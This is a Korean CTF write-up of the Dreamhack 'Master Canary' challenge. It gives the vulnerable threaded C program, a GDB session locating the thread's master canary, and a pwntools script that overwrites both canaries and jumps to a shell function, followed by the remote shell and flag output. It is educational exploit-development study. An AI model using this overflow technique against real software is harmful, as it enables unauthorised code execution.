[Dreamhack] Master Canary

Sisyphus·2022년 7월 28일
0

문제 코드

// Name: mc_thread.c
// Compile: gcc -o mc_thread mc_thread.c -pthread -no-pie

#include <pthread.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

void giveshell() { execve("/bin/sh", 0, 0); }
void init() {
  setvbuf(stdin, 0, 2, 0);
  setvbuf(stdout, 0, 2, 0);
}

int read_bytes (char *buf, int len) {
  int idx = 0;
  int read_len = 0;

  for (idx = 0; idx < len; idx++) {
    int ret;
    ret = read(0, buf+idx, 1);
    if (ret < 0) {
      return read_len; 
    }
    read_len ++;
  }

  return read_len;
}

void thread_routine() {
  char buf[256];
  int size = 0;
  printf("Size: ");
  scanf("%d", &size);
  printf("Data: ");
  //read(0, buf, size);
  read_bytes(buf, size);
}

int main() {
  pthread_t thread_t;

  init();

  if (pthread_create(&thread_t, NULL, (void *)thread_routine, NULL) < 0) {
    perror("thread create error:");
    exit(0);
  }
  pthread_join(thread_t, 0);
  return 0;
}
  • 실습에서 했던 것처럼 카나리를 무작위 값으로 변조하고 해당 값으로 카나리 값을 덮어 보호 기법을 우회하면 될거 같습니다.

보호 기법

❯ checksec mc_thread
[!] Could not populate PLT: future feature annotations is not defined (unicorn.py, line 2)
[*] '/root/mc_thread'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

Canary와 NX 방어 기법이 걸려있습니다.


공격 준비

환경: ubuntu 18.04

먼저 버퍼와 카나리 거리 차를 구해보면

gef➤  disas thread_routine 
Dump of assembler code for function thread_routine:
   0x000000000040093f <+0>:     push   rbp
   0x0000000000400940 <+1>:     mov    rbp,rsp
   0x0000000000400943 <+4>:     sub    rsp,0x120
   0x000000000040094a <+11>:    mov    rax,QWORD PTR fs:0x28
   0x0000000000400953 <+20>:    mov    QWORD PTR [rbp-0x8],rax
   0x0000000000400957 <+24>:    xor    eax,eax
   0x0000000000400959 <+26>:    mov    DWORD PTR [rbp-0x114],0x0
   0x0000000000400963 <+36>:    lea    rdi,[rip+0x182]        # 0x400aec
   0x000000000040096a <+43>:    mov    eax,0x0
   0x000000000040096f <+48>:    call   0x400710 <printf@plt>
   0x0000000000400974 <+53>:    lea    rax,[rbp-0x114]
   0x000000000040097b <+60>:    mov    rsi,rax
   0x000000000040097e <+63>:    lea    rdi,[rip+0x16e]        # 0x400af3
   0x0000000000400985 <+70>:    mov    eax,0x0
   0x000000000040098a <+75>:    call   0x400770 <__isoc99_scanf@plt>
   0x000000000040098f <+80>:    lea    rdi,[rip+0x160]        # 0x400af6
   0x0000000000400996 <+87>:    mov    eax,0x0
   0x000000000040099b <+92>:    call   0x400710 <printf@plt>
   0x00000000004009a0 <+97>:    mov    edx,DWORD PTR [rbp-0x114]
   0x00000000004009a6 <+103>:   lea    rax,[rbp-0x110]
   0x00000000004009ad <+110>:   mov    esi,edx
   0x00000000004009af <+112>:   mov    rdi,rax
   0x00000000004009b2 <+115>:   call   0x4008d7 <read_bytes>
   0x00000000004009b7 <+120>:   nop
   0x00000000004009b8 <+121>:   mov    rax,QWORD PTR [rbp-0x8]
   0x00000000004009bc <+125>:   xor    rax,QWORD PTR fs:0x28
   0x00000000004009c5 <+134>:   je     0x4009cc <thread_routine+141>
   0x00000000004009c7 <+136>:   call   0x400700 <__stack_chk_fail@plt>
   0x00000000004009cc <+141>:   leave  
   0x00000000004009cd <+142>:   ret    
End of assembler dump.
gef➤  b * 0x000000000040099b
Breakpoint 1 at 0x40099b
gef➤  r
Starting program: /root/mc_thread 
warning: Error disabling address space randomization: Operation not permitted
[*] Failed to find objfile or not a valid file format: [Errno 2] No such file or directory: 'system-supplied DSO at 0x7ffe2ffec000'
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
[New Thread 0x7fb75d8b6700 (LWP 526)]
Size: 100
[Switching to Thread 0x7fb75d8b6700 (LWP 526)]
gef➤  x/x $rbp-0x110
0x7fb75d8b5de0: 0x00000000
gef➤  $ ($fs_base+0x28)-0x7fb75d8b5de0
2376
0x948
0b100101001000
b'\tH'
b'H\t'

거리차는 0x948 입니다.


익스플로잇 코드

from pwn import *

p = remote("host3.dreamhack.games", 22524)
elf = ELF('./mc_thread')


giveshell = elf.symbols['giveshell']

payload = b"A"*264	# buffer
payload += b"A"*8	# canary
payload += b"B"*8	# SFP
payload += p64(giveshell)	# RET

payload += b"A"*(0x948-len(payload))
payload += p64(0x4141414141414141) # master canary

inp_sz = len(payload)

p.sendlineafter("Size: ", str(inp_sz))
p.sendlineafter("Data: ", payload)

p.interactive()

익스플로잇 코드를 실행시켜보면


❯ python3 exploit.py 
[+] Opening connection to host3.dreamhack.games on port 22524: Done
[!] Could not populate PLT: future feature annotations is not defined (unicorn.py, line 2)
[*] '/root/mc_thread'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
[*] Switching to interactive mode
$ 

쉘이 뜹니다.


flag를 출력해보면

$ ls
flag
mc_thread
$ cat flag
DH{7a8a433f0b4738471fc40dca9d2d9831}

0개의 댓글